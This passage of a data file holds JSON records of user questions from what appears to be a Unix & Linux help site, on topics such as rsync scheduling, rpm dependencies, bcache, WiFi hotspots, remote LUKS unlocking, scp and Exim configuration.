symlinks!)", "text": "I am using Dropbox to have an online backup of some data. However I want to encrypt my data before uploading it to Dropbox. Therefore I have created a TrueCrypt container and I am using `rsync` to synchronize the original data with the data in the TrueCrypt container. The reason for this duplicative setup is because I want both **hassle-free local access** and an **encrypted online backup**. However now on to my question. I wrote a script which uses rsync for the local synchronisation. I however do not want to execute it manually. Could someone tell me how I can run the script, say every 30 seconds, from the moment I login to my computer? ps: I could always embed the current code of my script in a never-ending `while loop` and add `sleep 30`. However are there other more sophisticated ways?"} {"_id": "97228", "title": "Linux Red Hat Library Dependencies question", "text": "I have to create a script that will download 8 libraries. However, on the server where we have all the libraries, I can only find 2 or 3 of these 8. I believe these 2 or 3 actually depend on other libraries to work, so when I request via yum to download 2 or 3 of these libraries, all the 8 libraries will actually be downloaded. I know there is a command to check out the dependencies of a specific rpm package: rpm -qpR (name of rpm package) My question is the following: is there a \"reverse\" command that, given a specific library name, will look for all the rpm packages that depend on this library?"} {"_id": "102285", "title": "How do I copy/yank a multi-line expression I typed at the ZSH prompt?", "text": "For example, supposed I'm browsing through my history, and reach this multi- line command I'd typed earlier: ~ >> for f in *; do echo $f done I've enabled `vim` bindings in the ZLE (`bindkey -v`), so I can type `Esc` at this point and use `vim` keys to get around, move across lines, etc. I can also do `yy` to yank the current line. However, there doesn't seem to be an obvious way to copy all these lines. Any ideas?"} {"_id": "99045", "title": "How to prepare files for rsync on a case insensitive filesystem?", "text": "I am transferring a large number of files on a HFS+ filesystem. The files are currently on ext2 partitions. I have conflicts due to case insensitivity of the target partition (HFS+). I want to identify the files that have duplicates filenames once they are in lower case, and delete them if they are actually duplicates. I also found that I will have duplicate folder names if I convert everyhing to lower case. Basically these hard drives contain years of unsorted data, and I happen to have this problem with folder names too. Does this seem reasonable: find . -type f | while read f; do echo $f:l; done | sort | uniq -d `$f:l` is ZSH for convert to lower case. Now I want to keep only one instance of each file that have duplicates. How to do this efficiently ? I do not want to find files with duplicate _content_ , unless they have the same lower case filename. I will deal with duplicates later."} {"_id": "99044", "title": "Running Debian jessie, missing some packages", "text": "I want to install gajim and virtualbox-fuse in Debian jessie but the repository isn't offering me these. Whats the correct approach on this? Backports, wheezy or repositories from oracle/gajim? Virtualbox seems even more complicated since virtualbox is in jessie but virtualbox-fuse is not. And virtualbox-fuse depends on virtualbox."} {"_id": "99043", "title": "What exactly should we do to get bcache?", "text": "I am extremely confused about this bcache thingy here. On one hand some says that it's already incorporated into linux kernel. Then some says that I need to patch my linux kernel. If it's already incorporated, why do I have to patch the kernel? From http://pommi.nethuis.nl/ssd-caching-using-linux-and-bcache/ and from http://bcache.evilpiepirate.org/#Getting_bcache > **Bcache has been merged into the mainline Linux kernel; for the latest > stable bcache release use the latest 3.10 or 3.11 stable kernel**. For the > userspace tools, git clone http://evilpiepirate.org/git/bcache-tools.git The > udev rules, Debian/Ubuntu source package, and Ubuntu PPA are maintained > here: git clone https://github.com/g2p/bcache-tools.git To use the PPA > (Ubuntu Raring and Saucy): sudo add-apt-repository ppa:g2p/storage sudo apt- > get update sudo apt-get install bcache-tools The PPA also contains blocks, a > conversion tool. A Fedora package is available in Fedora 20, and maintained > here. So basically it says that bcache is already released on 3.11 stable kernel. Then it follows \"For the userspace tools, git clone bla bla bla\" What is userspace? What is git? If it's already on the kernel why do I have to do anything at all? I want to install bcache on my typical centos webserver. This is what I found: > > Hello, >> >> I would like to implement a solution with ssd caching Bcache on CentOS. Have you ever implemented a solution to this distribution (or kernel)? if so, do you have a package? > > There's no packages, it's not integrated with any distributions - you've got > to build your own kernel and tools. Check the wiki for more info. What wiki? Do there's no package, it's not distributed, then got to build my own kernel. What does it mean? How do I build my own kernel?"} {"_id": "102282", "title": "bash: insert character at specified position in file", "text": "Lets say I have following file word1 something blabla anotherword somethingelse asdf yetanother else 123 For each line, I need to put a comment infront of the second column, which always starts at position 15 (that is, to insert `#` at position 15). How can I do it?"} {"_id": "102288", "title": "Multiple display works in Linux Mint Live CD but not my Gentoo installation", "text": "I tried to connect a VGA display to my Gentoo laptop and use multi-display. However, the two screens behave like one big screen instead of two separate ones. That is, if I maximize a window, it crosses the screens. In Linux Mint Live CD, however, they act like two screens. I tracked down the problem to every level including KDE, X, udev, and kernel but I can't find the problem. I've asked the question on http://forums.gentoo.org/viewtopic-p-7446050.html , but seems that no one read it. The only difference I see is that my `xf86-video-intel` seems to recognize my card incorrectly, and not reading EDID from display, and not using `crtc`. However, I tried combinations of kernels, configs, downgraded drivers, removing the nVidia drivers, etc., but none worked. Also, if I click \"identify outputs\" in KDE, both \"LVDS1\" and \"VGA1\" will display on BOTH screens, but on LiveCD LVDS1 displays on my laptop and VGA1 displays on the external screen. * Why would this have happened? * Does anyone have any ideas?"} {"_id": "9652", "title": "Why should I use Debian 6 with FreeBSD kernel?", "text": "Debian 6 will also be available with the FreeBSD kernel. Why did they decide to to that and why should I use it?"} {"_id": "36998", "title": "Open PDF previewer width specific size and position and \"always on top\" from command line", "text": "I'm using `latexmk -pdf -pvc` to keep compiling my LaTeX files to PDFs while they are displayed in `evince`. I'm doing that a lot with different files and I keep needing to zoom the PDF content, resize the window and enable \"always on top\". I like to be able to do this automatically using the command line. Using -geometry doesn't work with `evince` (\"`Unknown option`\") and the command line help doesn't say anything about it as well. I tried the preview `-w` option which gives me a nice sized window, but the automatic update feature I need seems to be disabled in this mode. I'm using Ubuntu 11.10 with the classic desktop and the default window manager. Is there a possibility to set both the size and position as well as \"always on top\" from the command line for `evince` (or similar PDF viewer with auto-update)? I think there might be some window manager control tool which can resize and configure windows from the command line. I'm aware of an `evince` feature request to add `size` and `position` arguments, which would be half the job already, but I don't think it will be implemented soon."} {"_id": "36999", "title": "My default browser is set to Firefox but links open with Chromium", "text": "I'm using Linux Mint Debian edition and I have set Firefox as my default browser in my settings. But HTTP links in other apps like hotot and pidgin open with Chromium! Why is this happening is there any way to track the problem?"} {"_id": "9657", "title": "After cloning Fedora 14 install to another machine, onboard NIC is seen as eth1 instead of eth0. Why?", "text": "I have the following procedure for replicating a Fedora workstation setup. 1. Boot from a Live CD, make tgz's of the filesystems. 2. Go to new machine, make filesystems, dump the tgz's in the proper places. 3. Adjust UUID's in /etc/fstab and /boot/grub/menu.lst 4. Run grub-install 5. Reboot! The nice thing is that DHCP assigns the new machine an unique name, and users have /home mounted on the server. Graphics configuration aren't a worry either, since recent versions of Xorg are wicked smart in auto-detecting graphic adapters. So everything works like a snap... with the exception of one small quirk: In the first boot of the new machine, network startup fails. It turns out the machine thinks there's no such thing as an eth0, but there _is_ an eth1 and it is the machine's onboard ethernet. So I have to go to /etc/sysconfig/network- scripts, rename ifcfg-eth0 to ifcfg-eth1, and edit the DEVICE= line in it. _Then_ I reboot and everything works. I believe somewhere, in some file, there is information associating eth0 with the MAC of the \"Master Mold\" machine's eth0. But where? P.S.: I don't use NetworkManager."} {"_id": "113689", "title": "Linux: CentOS Libcurl", "text": "Does anyone have a working method of downloading `libcurl` on CentOS 6? I'm trying to download it but all the mirrors are down for some reason. And `yum install` \"Developer Tools\" doesn't come with it."} {"_id": "107429", "title": "= sign at the end of .sock files in the ls output", "text": "I'm running the zsh shell in emacs. When I run `ls` I get a `=` at the end of `.sock` files. What does the `=` mean? Is it unique to unix sockets?"} {"_id": "36992", "title": "When to mount /tmp (and other temporary directories)", "text": "When is the right time to mount `/tmp` (on Debian)? For `/home` I would not feel bad just to `echo \"/dev/foo /home type defaults 0 0\" >>/etc/fstab` - but can I be sure that `/tmp` is not used by any programs when the `fstab` is applied? * * * **I am using** either Ubuntu or plain Debian or Debian/Grml - this would not make much difference I guess. **What I have read so far:** * The internet is full of advice to just add `tmpfs /tmp tmpfs 0 0` - but I am unsure. * I found this answer on what to do when `/tmp` is full without rebooting (in short: It's best to reboot anyway, except maybe for a union mount). * The [Deban policy] does not explain where to add the mount, or when the first access to `/tmp` may happen. More helpful are `/etc/init.d/README` and `/etc/rcS/README` on my Ubuntu (read them online). **Background:** I am going to use some Debian flavor on my Netbook (no HD, 8 GB SSD, 1 GB RAM - will double the RAM when neccessary). _I am not low on memory._ Some tasks are much too slow (building medium-sized C programs or compiling PDF from TeX both take 5+ seonds), but they take no time on a tmpfs. I want to mount a tmpfs on /tmp to accelerate them."} {"_id": "36993", "title": "How to convert Windows 7 partitions to qcow2?", "text": "I know I can use `qemu-img` tool to convert a raw partition into a image file. But Windows 7 has two partitions. I tried: qemu-img convert /dev/sda1 /dev/sda2 win7.qcow2 But the generated file does not have the correct partition infomation, thus cannot work. I also tried converting only the _System_ partition and let the Windows 7 installation program to fix it for me, and the program says it cannot fix it ;( I then used the disk2vhd utility to create VHD image, then tried to convert it into qcow2, but qemu-img returned error: File too large. The generated VHD image file is about 15GB. **The file system I am working on is ext4.** So I do not think it is a file system limit issue."} {"_id": "36990", "title": "substituting third occurrence of a pattern using sed", "text": "Here is a `sed` command. I want to substitute third occurrence of `00` to `11` echo \"0000000000000000\" | sed -e 's/00/11/3' The output is: 0000110000000000 But I thought output would be: 0011000000000000 first occurrence of `00`: {00}00000000000000 second one: 0{00}0000000000000 and third one: 00{00}000000000000 Can someone explain what is happening?"} {"_id": "107420", "title": "Fedora 20 - wifi hotspot almost work but something wrong", "text": "I have a Sony Vaio notebook with WiFi, and need to setup a hotspot (an ad-hoc one) under Fedora 20. I successfully did it under Debian and SuSE, but under Fedora I am struggling to understand the basis of the system or something. I found two ways to configure a hotspot: 1. dhcp + hostapd 2. dnsmasq + hostapd Dnsmasq-way doesn't work for me - something errors and Android cannot see my new network. dhcp-way almost works - Android connects to the network, I have new IP, but something is wrong with dns resolve or masquerading, I don't know what. Android shows me a white WiFi icon and can't connect to the internet after a request timeout expires (to play.google for example). My wifi interface is wlp7s0 My internet connection is p5p1 Below I show my config and dhcp-way scripts. # cat /etc/dhcp/dhcpd.conf subnet 192.168.0.0 netmask 255.255.255.0 { range 192.168.0.2 192.168.0.30; option subnet-mask 255.255.255.0; option domain-name-servers 8.8.4.4, 8.8.8.8; option routers 192.168.0.1; } # cat /etc/hostapd/hostapd.conf ctrl_interface=/var/run/hostapd ctrl_interface_group=wheel macaddr_acl=0 auth_algs=1 ignore_broadcast_ssid=0 # WPA & WPA2 support with a pre-shared key wpa=3 wpa_key_mgmt=WPA-PSK wpa_pairwise=TKIP rsn_pairwise=CCMP # WPA passphrase wpa_passphrase=MYCOOLPASS driver=nl80211 interface=wlp7s0 hw_mode=g channel=11 ssid=NETNAME Script to start hotspot (in manual mode): systemctl stop NetworkManager.service service dhcpd stop service hostapd stop sleep 1 ifconfig wlp7s0 192.168.0.1 netmask 255.255.255.0 up sysctl net.ipv4.ip_forward=1 iptables -t nat -A POSTROUTING -o p5p1 -j MASQUERADE sleep 1 service dhcpd start service hostapd start Any advice on how to get this to work?"} {"_id": "36995", "title": "How reliable of using \"nameofmychoice=\"anyname\"\"", "text": "For backup MySQL MyISAM database, I'm using: backupdb=siteone mysqldump -u root -pthepass --lock-tables --add-locks --disable-keys --skip-extended-insert --quick $backupdb > /var/www/html/db2.sql Even after long time using it, I still dont know what is the name of using `nameofmychoice=anyname`. After typing `backupdb=siteone` I need to know how long it will kept in memory? If I running many lines of command which takes very long time, do I need to type `backupdb=siteone` again and again from time to time to regenerate the alias? Is using this way really safe for almost anything? I'm worried of data loss since I'm dealing with database."} {"_id": "37023", "title": "OpenSSH, chroot user: Root needs to own the user directory, is there any consequence?", "text": "I want to create an account for my friend on my computer, but I don't want my friend to be able to view all my files. I saw that with OpenSSH, there is an option for that. Inside the SSHD configuration file: /etc/ssh/sshd_config With the line: ChrootDirectory /home/%u However, the user home directory needs to be owned by `root`. Is that a bad thing? Are there any consequences or repercussions if admin owns the directory? I tagged this question for 2 distributions and FreeBSD, since I use them all. I'm wondering if maybe the requirement of `root` owning the user home directory will be different between distributions and/or OS."} {"_id": "37024", "title": "How to open a port early in boot process to unlock LUKS via SSH", "text": "I have a fully encrypted server running Debian 7 and have set up dropbear and busybox to unlock the LUKS container via SSH (as described in this tutorial and in this U&L answer). Unfortunately, whenever I try and SSH to the server (over the LAN) at reboot, I get a \"Connection refused\" error. I have tried `telnet` and `nmap` to the default port (22) and both say the port is closed. The server has a `ufw` rule to accept all traffic from the LAN: Anywhere ALLOW 192.168.1.0/24 I have tried changing the port that dropbear listens on in `/etc/defaults/dropbear` but `ssh` and `telnet` are still refused connections1. How can I ensure that a port is open at that stage in the boot process so that I can connect to unlock the LUKS container? Disabling the firewall makes no difference: `nmap` shows all ports still closed. ## Update 2/14 I added `break=premount` to the kernel line and had a poke around in the initramfs. `dropbear` has started, but the network is _not_ up at that point. After exiting, the network comes up and boot continues until the prompt to unlock the LUKS device. At this point, the network _is_ up, and the host has been assigned the correct IP address, but port 22 is still closed. The IP line in `/etc/initramfs-tools/intiramfs.conf` I am using is: export IP=192.168.1.200::192.168.1.1:255.255.255.0::eth0:off Consistent with the directions in `/usr/share/doc/cryptsetup/README.remote.gz` I have tried just adding the device option, but that is not sufficient to bring the network up and obtain a dhcp lease."} {"_id": "37026", "title": "Analyzing the behavior of a threaded program", "text": "Is there an application that will do what Threadscope or the parallel tools of Visual Studio does for multithreaded program analysis in Linux?"} {"_id": "112378", "title": "Remote BIOS update from current running Linux OS", "text": "Recently my bios vendor has updated some custom features for my OEM motherboard i have started updating in the sites. with a bootable USB device - AFUDOS OS : Debian 6 Since , I have sites located in different areas. what is the feasibility of performing BIOS update from remote location from LINUX OS Was just reading some alternatives: http://ubuntuforums.org/showthread.php?t=318789"} {"_id": "151540", "title": "Cannot login for one user, changing password have no effect", "text": "I have change the user's (user1) password using `root` passwd user1 but when i tried to `ssh user@localhost` or through `gdm` or `tty` it always failed the `journalctl` log shows Failed password for user1 from ::1 FAILED LOGIN 1 FROM tty3 FOR user1, Authentication failure pam_unix(gdm-password:auth): conversation failed pam_unix(gdm-password:auth): auth could not identify password for [user1] I'm using fresh Arch Linux installation (64-bit)"} {"_id": "112370", "title": "How does Linux winbindd determine available domain controller?", "text": "We are actually in preparation of taking down one of our three domain controller (Win2k3). They are all serving the same domain. Actually we still see connections incoming from Debian (5/6/7) Servers using winbindd for domain authentication to the server we want to take down. /etc/krb5.conf on the debian hosts looks like this: [libdefaults] default_realm = DOMAIN.COM [realms] LOKAL.CMS-DIREKT.DE = { kdc = dc1.domain.com kdc = dc2.domain.com admin_server = dc1.domain.com default_domain = domain.com } [domain_realm] .domain.com = DOMAIN.COM domain.com = DOMAIN.COM [login] krb4_convert = true krb4_get_tickets = false So how does winbindd determine the available domain-controller(dc)? Is it done by Broadcasts, even if there are dc entries in krb5.conf?"} {"_id": "105484", "title": "Error compiling FTDI VCP drivers: Cannot find version.h", "text": "driver installation fails of FTDI VCP driver during `make install`. Running ElementaryOS with kernel 3.11.0-14-generic make install awk: cannot open /lib/modules/3.11.0-14-generic/build/include/linux/version.h (No such file or directory) awk: cannot open /lib/modules/3.11.0-14-generic/build/include/linux/version.h (No such file or directory) install -d /lib/modules//misc install -c ftdi.o /lib/modules//misc install: cannot stat `ftdi.o': No such file or directory make install The directory exists and it has multiple files in it but no version.h. Update: After creating a symbolic link from `uapi` to `modules` as recommended by @slm `ln -s /usr/src/linux-headers-$(uname -r)/include/generated/uapi/linux/version.h` `/lib/modules/linux-($uname -r)/generic/build/include/linux/version.h` the `awk` errors disappear but the sytem still reports: install -d /lib/modules//misc install -c ftdi.o /lib/modules//misc install: cannot stat `ftdi.o': No such file or directory"} {"_id": "105485", "title": "Expand Disk on VMware but no effect?", "text": "I have a Virtual Host (CentOS 6.4) running on VMware. Hard disk of this PC is 100GB but I want to expand it to 500GB. I tried to expand the Hard Disk (SCSI) to 500GB. It's ok, no errors. But another PC (Windows 7) connected to this PC (CentOS 6.4) via samba, just shows \"9GB free of 100GB\". It means the PC (CentOS 6.4) has not expanded the disk. I used an external HDD (500 GB) to run this PC (CentOS 6.4). What did I do wrong? Did I missed something?"} {"_id": "105483", "title": "Compiling code from apue", "text": "Just now I have began reading the book: Advanced Programming in the UNIX\u00ae Environment. I wanted to try running its first code example. I am running Scientific Linux 6.4. I downloaded the source code and as it says in its README, I ran `make` in the uncompressed file. I wrote the first program (a mock `ls` command) #include \"./include/apue.h\" #include int main(int argc, char *argv[]) { DIR *dp; struct dirent *dirp; if(argc!=2) err_quit(\"usage: test directory_name\"); if((dp=opendir(argv[1]))==NULL) err_sys(\"Can't open %s\", argv[1]); while((dirp=readdir(dp))!=NULL) printf(\"%s\\n\", dirp->d_name); closedir(dp); return 0; } and put it in the uncompressed file. As the book had advised I then ran: `gcc myls.c`. But I get this error: # gcc myls.c /tmp/ccWTWS2I.o: In function `main': test.c:(.text+0x20): undefined reference to `err_quit' test.c:(.text+0x5b): undefined reference to `err_sys' collect2: ld returned 1 exit status I wanted to know how I can fix this problem. I also want to be able to run a code I write in any directory, can anyone guide me on that too?"} {"_id": "105481", "title": "SCP files from machineB to machineA", "text": "I am trying to scp the files from `machineB` to `machineA`. I need to run the `scp command` from `machineA` to copy files from `machineB` to `machineA`. The file that I need to copy from machineB is - /bat/data/snapshot/5.data And where I need to copy the file into machineA is - /data01/primary in which I have root access as well and `/data01/primary` has only root credentials. Below is the `ls -lt` on `machineA` david@machineA:/$ ls -lt drwxr-xr-x 3 root root 4096 Nov 7 17:43 data02 drwxr-xr-x 3 root root 4096 Nov 7 17:42 data01 drwxr-xr-x 4 root root 4096 Nov 7 17:26 opt So I was trying the below scp command on machineA to copy the files - scp david@machineB:/bat/data/snapshot/5.data root@machineA:/data01/primary but I am always getting - Host key verification failed. I do have root access to machineA but not root access to machineB. And I can ping machineB from machineA as well. And both machines are in production domain as well."} {"_id": "115689", "title": "Fdisk cannot read size of this disk is 4.0 TB under RAID-0 enviroment", "text": "I have server from OVH data center , I have Two SATA Hard Disk Drive , each Disk Size 2.0 T.B , I have RAID controller card but I convert the RAID-1 to RAID-0 through OVH Rescue mode and here is the result 1 volume is active, 2 physical disks are active Volume 0 is Bus 0 Target 0, Type IS (Integrated Striping) Volume Name: Volume WWID: 00953d9517ee4ae9 Volume State: optimal, enabled Volume Settings: write caching enabled Volume draws from Hot Spare Pools: 0 1 2 3 4 5 6 7 Volume Size 3815156 MB, Stripe Size 64 KB, 2 Members Member 0 is PhysDisk 1 (Bus 0 Target 2) Member 1 is PhysDisk 0 (Bus 0 Target 1) After I install OS through OVH Control panel , the capacity not showing the actual size of the two hard disk which it suppose to be 4.0 T.B but it shows only 2.0T.B , this is normal because the OVH installation using `fdisk` through the OS setup Here is the output from `fdisk -l` command WARNING: GPT (GUID Partition Table) detected on '/dev/sda'! The util fdisk doesn't support GPT. Use GNU Parted. WARNING: The size of this disk is 4.0 TB (4000481017856 bytes). DOS partition table format can not be used on drives for volumes larger than 2.2 TB (2199023255040 bytes). Use parted(1) and GUID partition table format (GPT). Disk /dev/sda: 4000.4 GB, 4000481017856 bytes 255 heads, 63 sectors/track, 486364 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/sda1 1 267350 2147483647+ ee EFI GPT this is on `/dev/sda` drive and that contain the system and data, if I use to re-partition by parted to fix the size and GPT problem I have to delete the data then I install again through control panel then I will have the same problem , I don't have kvm or anything else to install the system by my custom partition I made through the rescue mode How can I solve this problem without format or delete the data on the hard disk by fixing the size and continue to partition the rest of space by using any program ?"} {"_id": "151978", "title": "Accidentally reformatted /dev/sda1 - any hope for recovery?", "text": "All day today, I've been reformatting a USB flash drive repeatedly and I was doing this multiple times in a row, and I began to grow a little too careless... Without paying attention, I accidentally reformatted my /dev/sda1 in the GNOME _Disks_ manager utility in Fedora. I didn't overwrite all the data with 0s, but instead just did the quick rewrite. After rebooting, my mistake was made clear when my laptop immediately booted into rescue grub mode. :( Is there any hope for recovery? I know /dev/sda1 was 512MB, so I think my actual data is safe and fine, on /dev/sda2. But is there a way I can get Fedora to successfully reboot again? Any and all help is appreciated."} {"_id": "102136", "title": "xargs inside a for loop", "text": "So we got most of it figured out but here's what happens. for i in $(arp |sort |awk '{print $1}'|grep IPADDRESS) do ssh USERNAME@$i \"ps -ef |grep X11|grep -v grep |awk '{print $2}'|xargs kill\" done kill: USERNAME: invalid process id I've SSH'd using the username I'm using for the loop and ran `ps -ef | grep X11| grep -v grep | awk '{print $2}'| xargs kill` just fine but it looks like xargs is picking up the username instead of whats being printed. Any thoughts?"} {"_id": "102134", "title": "Curl. Check redirect", "text": "Lets suppose that we have 3 links: link1, link2, link3. link1 redirects to link2 and link2 redirects to link3. So how to see that with curl?"} {"_id": "115685", "title": "What this page means for the Debian's package version", "text": "I am trying to figure out what these web page means for the version. I know that the epoch is the number previous the double dot. But I can't figure out what this all means ? ![enter image description here](http://i.stack.imgur.com/QHkCQ.png) I found this here"} {"_id": "102132", "title": "How can I avoid mangling arguments with spaces in Exim's ${run{...}} expansion?", "text": "I have a program, `/usr/local/bin/rt_queue_exists`, which takes one argument. If the argument smells good, the program exits with status 0; non-zero otherwise. I want a router that accepts messages only if the local part smells good, according to this program. Further, this program relies on a configuration file which is readable only by root and www-data, so I thought I'd configure sudo to allow `rt_queue_exists` to be invoked as www-data by Exim. Thus, I came up with this in my router options: condition = ${run{/usr/bin/sudo -u www-data /usr/local/bin/rt_queue_exists $local_part}{yes}{no}} It works, usually, except when there's a space in the local part (yes that's allowed). When there's a space in the local part, `rt_queue_exists` is invoked with _two_ arguments. This is bad because: * some of my queue names have spaces in them * if I can alter the command with spaces, can I perform more serious injection attacks? There is a similar problem in bash: cat $file # BAD! NO! cat \"$file\" # good! What's the analogous solution in exim?"} {"_id": "102131", "title": "Upgrade okular in debian wheezy", "text": "I have okular version 0.14.3 with KDE 4.8.4. I use debian wheezy and I dont know how I can upgrade to 0.15 version of okular."} {"_id": "66686", "title": "Route SSH to host through interface", "text": "Is it possible to route all outgoing requests for SSH (port 22) to `mydynamicdns.afraid.org` via `wlan0` instead of `eth0` when both are connected? Since my IP is dynamic, I would like to use a name instead of IP."} {"_id": "78194", "title": "Getting internet to Linux VM without being detected by Network", "text": "I'm trying to get internet to a Linux VM (Backtrack 5 on VMWare Workstation). Unfortunately I was told to not \"bridge\" the connection from the VM because it could be detected by our companies network admins. Our company has a firewall and proxies for normal web browsing. I can get around it by ssh tunneling to a linux server (putty + ssh) Is there a way I can get my Linux VM to have internet connection via SSH/Putty tunneling without it being detected on our corporate network? I'm not sure if I need to bridge my VM and change some settings on the Linux VM or if I need to alter VMWare somehow to grant internet to VMs via tunneling...? Would appreciate any areas topics I should read into or any lead I can take to get accomplish this."} {"_id": "113978", "title": "How to use scp and ssh command in a single script without any keys?", "text": "How to use `scp` and `ssh` command in a same script? First I have to copy one file from my local server to remote. Then from local server itself, I have to check the size of the copied file."} {"_id": "78196", "title": "How do I make www-data run vim command (and find plugins)", "text": "I use the vimwiki plugin for note taking, and for those rare cases when I can't reach my home server over ssh, I use a simple html-form to update the textfiles. In vimwiki there is a command to export the textfiles to html-files and I want to trigger that command from the html-form. The setup: Lighttpd, a python script that calls a shell-script using os.system(). The shell script contains the following lines: #!/bin/bash vim -c \":e wiki/index.wiki\" -c \":VimwikiAll2HTML\" -c \":q\" which should generate the html-files. But I get this output (in the web browser): wiki/index.wiki\" [dos] 13L, 227C Error detected while processing command line: E492: Not an editor command: :VimwikiAll2HTML E138: Can't write viminfo file $HOME/.viminfo! Tested to log in as www-data (after setting password) and ran the same line and it works as expected (i.e. as I want it to). Back to running the script from a web browser I also noticed that environment varibles (like $HOME) aren't set, so my guess is that I am missing some login-script but I can't get it right. What am I missing? Is there a better way to accomplish what I want to do? Solved: see sporticvs answer"} {"_id": "78197", "title": "How to avoid overwriting existing files while using tar command?", "text": "The **tar** command just overwrote my file an hour ago while I was trying to make a tar to backup it. I ran tar zcvf foo.tex foo.bib and after that my tex source file lost. What's worse, this is the second time I lost my file in this way. I use gvim, but 'u' command can recover my file. After browsing some help entries about 'backup', 'undofile', I just can not find a way to avoid tar command from overwriting my file again. Then I try to find a parameter like '-i' from **cp** or **mv** , but among the many parameters of **tar** I can't find one. I wonder how can I avoid this kind of things happening again, for I am a little unconfident about remembering to add the new foo.tar thing that I always forget next time."} {"_id": "78191", "title": "Prevent creating directories but allow creating files", "text": "I have a directory shared through Samba. I want users to be able to create/modify/delete files but not create/erase directories. I haven't found a way to do it. Maybe with SELinux? But how?"} {"_id": "113971", "title": "Incrementing a variable each time the system boots up", "text": "The idea is to initialize a variable and set it to 0. Then create a script that executes on boot and increments that variable by 1 each time the system boots up again. Sounds simple enough right?"} {"_id": "125967", "title": "How to run gnukhata software in ubuntu 12.04", "text": "I have tried to install GNUKhata in ubuntu 12.04, but it's not successfull. Requirements : i) Download gnukhata1.2 software from gnukhata.org, ii)python2.7 (default in 12.04), then installed postgresql and nginx (Refer www.gnukhata.org ) Now run in browser to open the GNUKHATA first page then enter organization name and company detailed address, then its save to not working. The screenshots will be described as follows : (last page will be error) ![enter image description here](http://i.stack.imgur.com/Hg1lH.png) ![enter image description here](http://i.stack.imgur.com/FuZFM.png) ![enter image description here](http://i.stack.imgur.com/0Ud5P.png) ![Error page](http://i.stack.imgur.com/KU2FX.png)"} {"_id": "43854", "title": "Save entire process for continuation after reboot", "text": "I developed an algorithm for a fairly hard problem in mathematics which is likely to need several months to finish. As I have limited resources only, I started this on my Ubuntu 12.04 (x86) laptop. Now I want to install some updates and actually restart the laptop (the \"please reboot\" message is just annoying). Is there a way to save an entire process including its allocated memory for continuation beyond a reboot? Here is some information about the process you might need. Please feel free to ask for further information if needed. * I called the process in a terminal with the command \"`./binary > ./somefile &`\" or \"time ./binary > ./somefile &\", I cannot really remember. * It's printing some debug information to std::cerr (not very often). * It's currently using roughly 600.0 kiB and even though this will increase, it's unlikely to increase rapidly. * the process runs with normal priority * the kernel is 3.2.0-26-generic-pae, the cpu is an AMD, the operating system is Ubuntu 12.04 x86. * it runs since 9 days and 14 hours (so too long to cancel it ;-) )"} {"_id": "113975", "title": "configure gsm connection using nmcli", "text": "I have a system without X display and I want to use `nmcli` to configure my cell modem to connect to a certain apn. I can get it going with this modem just fine on Ubuntu (with X) and I would like to achieve the same now on the command line. How can I setup the connection? so far I get this: # nmcli dev status ** (process:2379): WARNING **: Could not initialize NMClient /org/freedesktop/NetworkManager: Permissions request failed: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: The name org.freedesktop.PolicyKit1 was not provided by any .service files DEVICE TYPE STATE ttyUSB1 gsm disconnected eth0 802-3-ethernet connected"} {"_id": "113977", "title": "Resin Server - Can't install into Eclipse kepler", "text": "I'm using CentOS 6.4. I have downloaded Resin server from the this official website. I have the folder in /home/admin/. I followed this site for adding resin server into Eclipse. but couldn't able to see resin option. Is there any way to add resin server into Eclipse. ?"} {"_id": "113976", "title": "Files missing from NTFS drive and drive is split into many", "text": "Using kali linux 1.0 in dual boot with windows 8. I have an NTFS partition (D: on windows) I usually mount it on both OS. I face the following problem 1. cannot access some folders in NTFS partition. (unable to see them on linux but works fine with windows). I don't face any errors while mounting it. also my /media directory shows 3 files with same name which represent my D: (ntfs drive m talking about) here is output of `ls` command in `/media` directory root@code:/media# ls 01CD1F0FE77B9960 01CD1F0FE77B9960__ cdrom0 usb usb1 01CD1F0FE77B9960_ cdrom truecrypt11 usb0 01CD1F0FE77B9960 is the NTFS partition. How can i get rid of this?"} {"_id": "112087", "title": "Broadcast or send machine readable code to ssh clients", "text": "Here's an interesting situation. I have: * A Linux box that is a motion sensor and can execute command line commands upon receiving a motion event (see the Linux motion app). * Another Linux box that (I would like to) dedicated to additional processing in the event that a motion is detected. The reason I don't want the first Linux box to do additional processing is that it is woefully underpowered and isn't conveniently connected to other systems that I'd like to activate. So my question is, how do I broadcast or send **machine readable code** from that first Linux box to another Linux box (or any ssh client) to trigger further processing based on the type of code? I tried the broadcast command but for some reason, it shows up as empty in the clients instead of a specific code. In addition, how do I enable the 2nd Linux box to act upon the code? Should it be a cronjob or some sort of listener?"} {"_id": "112085", "title": "Sometimes don't have permission to create new folders on an NTFS partition in Evince", "text": "My hard drive has an NTFS partition mounted under Ubuntu 12.04. I use Evince as the default application to open PDF files downloaded under Firefox. I often save copies of PDF files opened in Evince to the NTFS partition, and before that, I would like to create new folders in the NTFS partition, for where the PDF files will be saved, by hitting \"Save a Copy ...\" and \"Create Folder\" under Evince. Sometimes new folders in the NTFS partition could not be created using the above way in Evince, for the reason of \"Error creating directory: Permission denied\", and alternatively, I have to create new folders under Nautilus before I can save copies of PDF files into them under Evince. This is troublesome, because I can't create new folders and save PDF files both under Evince. But the problem doesn't always happen, and sometimes I can be permitted to create new directories in the NTFS partition under Evince. So I wonder why the problem happens and what I can do to solve the problem?"} {"_id": "112088", "title": "Stanford's StanfordCPPLib on Linux", "text": "I'm using SUSE Linux 13.1 and self studying Stanford's CS 106B course. Here I have found the following `zip` file, cs106b-hw2-ngrams-starter-files.zip, and downloaded. ### Now questions 1. This libs are for Windows, so some changes will be needed to make them work correctly in Linux. What changes? 2. Where to put this folder, so that `gcc` compiler could automatically find this libs?"} {"_id": "112089", "title": "Why doesn't yum list anything?", "text": "In a Kubuntu I installed yum. ~$ sudo apt-get install yum [sudo] password for jim: Reading package lists... Done Building dependency tree Reading state information... Done The following extra packages will be installed: debugedit liblua5.2-0 librpm3 librpmbuild3 librpmio3 librpmsign1 libsqlite0 python-libxml2 python-rpm python-sqlite python-sqlitecachec python-urlgrabber rpm rpm-common rpm2cpio Suggested packages: rpm-i18n python-sqlite-dbg alien elfutils The following NEW packages will be installed: debugedit liblua5.2-0 librpm3 librpmbuild3 librpmio3 librpmsign1 libsqlite0 python-libxml2 python-rpm python-sqlite python-sqlitecachec python-urlgrabber rpm rpm-common rpm2cpio yum 0 upgraded, 16 newly installed, 0 to remove and 320 not 